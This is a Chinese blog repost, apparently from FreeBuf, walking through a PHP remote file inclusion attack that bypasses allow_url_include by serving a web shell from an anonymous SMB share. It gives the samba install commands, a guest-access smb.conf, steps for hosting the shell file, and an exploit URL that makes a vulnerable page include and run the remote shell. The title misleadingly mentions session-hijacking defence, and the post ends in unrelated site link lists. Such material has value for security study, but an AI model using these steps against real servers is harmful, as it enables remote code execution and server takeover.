php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)
php防session劫持
使用SMB共享来绕过php远程文件包含的限制执行RFI的利用在这篇博文中,我将为大家演示如何利用php应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行rfi的利用,即使php环境被配置为不包含来自远程http/ftp url的文件。
php 和 smb 共享文件访问
在php配置文件中,“allow_url_include”wrapper默认设置为“off”,指示php不加载远程http或ftp url,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“off”,php也不会阻止加载smb url。而这就极有可能被滥用来从smb共享加载远程托管的php web shell。
攻击场景概述
当易受攻击的php应用程序代码尝试从受攻击者控制的smb共享加载php web shell时,smb共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的smb服务器。因此,一旦易受攻击的应用程序尝试从smb共享访问php web shell,smb服务器将不会要求任何的凭据,易受攻击的应用程序将包含web shell的php代码。
首先,我重新配置了php环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的smb服务器。一旦smb共享准备就绪,我们就可以利用易受攻击的应用程序了。
php 环境设置
将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“off”
以下是版本为“5.5.11”的php当前配置截图:
在继续下一步之前,让我们确保当我们尝试访问http上托管的web shell时,php代码不允许远程文件包含。
可以看到,当我试图从远程主机包含php web shell时,应用程序抛出错误并且没有包含远程文件。
使用匿名浏览访问配置 samba 服务器(linux 机器)
使用以下命令安装samba服务器:
apt-get install samba创建smb共享目录:
mkdir /var/www/html/pub/
配置新创建的smb共享目录的权限:
|
chmod 0555 / var /www/html/pub/ chown -r nobody:nogroup / var /www/html/pub/ |
运行以下命令,删除samba服务器配置文件的默认内容。
echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。
|
[ global ] workgroup = workgroup server string = samba server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = / var /www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 |
force user = nobody
现在,重启samba服务器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart成功重启samba服务器后,尝试访问smb共享并确保samba服务器不要求提供凭据。
在本例中,samba服务器ip为192.168.0.3,我需要访问windows文件浏览器中的smb共享,如下:\\192.168.0.3\
在 smb 共享中托管 php web shell
太棒了!可以访问smb共享,并显示目录“ica”存在。
现在,将php shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。
成功托管php shell后,我们使用windows文件浏览器访问smb共享目录“ica”。
\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。
利用文件包含易受攻击的参数
让我们使用这个php shell smb链接,以及易受攻击的php代码浏览它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpphp易受攻击的代码从smb共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的web shell。
总结
以上所述是小编给大家介绍的使用smb共享来绕过php远程文件包含的限制执行rfi的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对开心学习网网站的支持!
原文链接:https://www.freebuf.com/articles/web/203577.html
- phpstudy详细教程学习(phpstudy的php版本自由修改的方法)
- php微信公众号管理后台(php实现微信公众号创建自定义菜单功能的实例代码)
- dedecms的dedesql.class.php on line 489错误的解决方法(dedecms的dedesql.class.php on line 489错误的解决方法)
- php 策略模式工厂模式区别(PHP设计模式之策略模式原理与用法实例分析)
- phpstudy不解析php代码(phpstudy伪静态设置的问题)
- phpstudy使用教程学习(phpStudy 2016 使用教程详解支持PHP7)
- mysql5.7.19下载及安装教程(Apache2.2.16+PHP5.3.3+MySQL5.1.49的配置方法)
- php中row函数(PHP中number_format函数的用法讲解)
- phpredis常用方法(PHP针对redis常用操作实例详解)
- php防sql注入(万能密码的SQL注入漏洞其PHP环境搭建及防御手段)
- php的模块加载(PHP中的自动加载操作实现方法详解)
- php解压压缩包(PHP 实现文件压缩解压操作的方法)
- 如何安装phpmysql环境(phpnow重新安装mysql数据库的方法)
- php 上传图片如何压缩(PHP实现将上传图片自动缩放到指定分辨率,并保持清晰度封装类示例)
- thinkphp从模板自定义标签(Thinkphp5.0框架视图view的循环标签用法示例)
- php使用yield处理并发(Yii2.0框架模型多表关联查询示例)
- 魅族智能手表充电座曝光 Type-C 接口,线座分离设计(魅族智能手表充电座曝光)
- 华为 Watch GT2 Pro 智能手表曝光,新增支持无线充电(华为WatchGT2)
- vivo首款智能手表来了 也有血氧饱和度监测,一次充电18天续航(vivo首款智能手表来了)
- 你知道 七夕 的真正含义吗(你知道七夕的真正含义吗)
- 七夕的寓意(七夕的寓意)
- 苏志燮赵恩静结婚,韩国四大公共财产变三人,这么快就有替补了(苏志燮赵恩静结婚)
热门推荐
- php面向对象怎么调用属性(PHP面向对象程序设计__tostring和__invoke用法分析)
- sql server支持两种登录验证方式(远程登陆SQL Server 2014数据库的方法)
- 阿里云服务器远程密码在哪(教你如何重置阿里云服务器远程连接密码)
- php网页生成程序(php生成静态页面并实现预览功能)
- dedecms更新后设置不显示(dedecms中tags页面显示错位的解决方法)
- python微信自动化(python微信撤回监测代码)
- typedef和var有什么不同(TypeScrip中泛型的案例详解)
- python字典键对应的值(Python 互换字典的键值对实例)
- textarea 高度自适应
- js三级联动说明(基于JavaScript实现省市联动效果)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9